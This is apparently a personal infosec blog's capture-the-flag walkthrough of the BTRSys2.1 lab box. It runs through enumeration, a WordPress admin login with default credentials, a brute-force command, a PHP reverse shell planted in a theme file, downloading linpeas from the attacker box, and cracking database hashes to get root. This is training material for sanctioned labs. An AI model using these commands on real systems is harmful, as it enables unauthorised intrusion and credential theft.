HHHHarshil - InfoSec Blog

Isn't Everyone Hiding Something?

Home Writeups Resources

This is a write up for the box BTRSys2.1 on proving grounds. It’s a part of the get to work series and it is a Linux base box.


Starting off by kicking off autorecon to enumerate the services running off the box.

If you do not use autorecon I have left the basic nmap scripts that are essentially being executed.

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- $ip
Nmap scan report for
Host is up, received user-set (0.021s latency).
Scanned at 2021-10-11 17:55:47 EDT for 54s
Not shown: 65532 closed ports
Reason: 65532 resets
21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 5
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 08:ee:e3:ff:31:20:87:6c:12:e7:1c:aa:c4:e7:54:f2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKrYYWK3Xv2EBb0KryPAargHdeVdVuGj+AHTUbH1CyLIuQ3zbtaq2+lr5K/aMqiJ5othz27+RWSJ2NmQ2JeOUBCogFLikCwU6MRDQLHpV+neS3fAKrH5fNnXo+RfnMWBLQaaXBPiUOQaoQc27hRN3SJ1hbVLEF65TY0siTrOj0Lt8SRztwkbfynHEKxMsQi5WWDLTgS7bivCf9VVWwqgmuBbsJAqFExDjLxlxJpH4+93bgEtD9EPV/KKO9B3Inaz8PxC+zXZofhZXloysYoGg4IZzT55JzrRVRuv/cbGcMuGTBpCCkdH01G4NCSgL7YwX13C1Qc+EFX1QExV6k1ePD
|   256 ad:e1:1c:7d:e7:86:76:be:9a:a8:bd:b9:68:92:77:87 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFTsqff4O0hsl+RUR2lXFcbCEkvFcspHALA2RR2DpoD2AlRN/DEpIbW3NETNXxxyKHTtGhUiBSUuw8S9RSBAsnY=
|   256 0c:e1:eb:06:0c:5c:b5:cc:1b:d1:fa:56:06:22:31:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH91w++CdkbeAkmXYietVhD/73nEaXR/nbeBEyuwLwgq
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Aggressive OS guesses: Linux 3.11 - 4.1 (95%), Linux 4.4 (95%), Linux 3.16 (94%), Linux 3.13 (92%), Linux 3.10 - 3.16 (92%), Linux 3.10 - 3.12 (91%), Linux 2.6.32 (91%), Linux 3.2 - 3.8 (91%), Linux 3.8 (91%), WatchGuard Fireware 11.8 (91%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Nmap Summary:

After noticing we have port 80 open I immediately go to the page and we find nothing interesting in the page source. It’s basically just a gif.

(Autorecon already did some directory busting btw saving me time see command below)

feroxbuster -u -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp" -v -k

I review the feroxbuster report and notice that we have the findings below:

Relevant Findings
403       11l       32w      302c
301        9l       28w      317c
301        9l       28w      320c

We now know the server is running wordpress so we can begin to browse this page for a potential login page. I am going to start wpscan on it since it can help quickly enumerate version numbers and any plugins that might be on vulnerable.

Nothing crazy came up from the wpscan findings so I go ahead and see that there is a wp-login page though present on the site.

I tried some quick default credentials and was able to get in on the first try with: admin:admin

Lucky guess usually its the first one I try. If you didnt try this we would be able to use wpscan to bruteforce our way in!

We know admin is a valid user to btw since there was some information disclosure when trying to Login.

wpscan --url <ip> --usernames admin --passwords /usr/share/wordlists/rockyou.txt


Now that we are actually in the wordpress admin portal we can play around with some of the settings. I noticed that there aren’t any crazy unusual plugins that we can modify and wpscan didn’t really give us that much helpful information either.

I do know however that the server is running apache which is able to execute php code.

We have the ability to edit the themes (Appearance > Theme Editor) php files so we can easily replace the code with malicious php that can be used as a reverse shell.

I will be using the pentest monkey reverse shell which can be found here > https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Editing the pentestmonkey php file

Replacing the contents of 404.php

Just download the file edit variables $ip and $port to the IP of your attack box and the port you want to listen for a connection on.

Now after we replaced the 404.php file like shown in the screenshot we will be starting a nc listener on port 1234

nc -nvlp 1234

To execute the shell we have to browse to the themes directory where 404.php is stored. If you do not know where the 404.php page would be located we can github the template being used then find it there.

Typically its in this directory: /wp-content/themes/twentyfourteen/404.php for future reference

Privilege Escalation

Once we are in we have a dumb shell without a proper tty

We can use python to update it

First I checked to see which version we have

Confirmed we have python3 installed

Fixed our tty issue using:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Going to automate a lot of the manual commands such as looking at /etc/passwd, /etc/crontab and looking for passwords as well as SUID SGUID with linpeas

going over to the /tmp folder

hosting a webserver on my kali box in the directory im hosting linpeas using updog

updog -p 80

Now I will download the file to the machine using wget

wget $ip/linpeas.sh

chmod +x linpeas.sh


Reading the linpeas.sh output here are a lot of the things I am looking for: Kernel Exploit? No Capability? No SGID/SUID? No Credentials? Yes

We found the following credentials in the wp-config file we can use it to connect to a mysql db.

Commands Used to connect to DB:

mysql -u root -p rootpassword!


use wordpress;

show tables;

select * from wp_users;

After viewing the wp_users table we notice that we get hashes for root and admin.

I used crackstation to crack them and got the following results:

root:roottoor admin:admin


Now that we have the root password all we have to do is switch to the root user.

We have now succesfully rooted this box!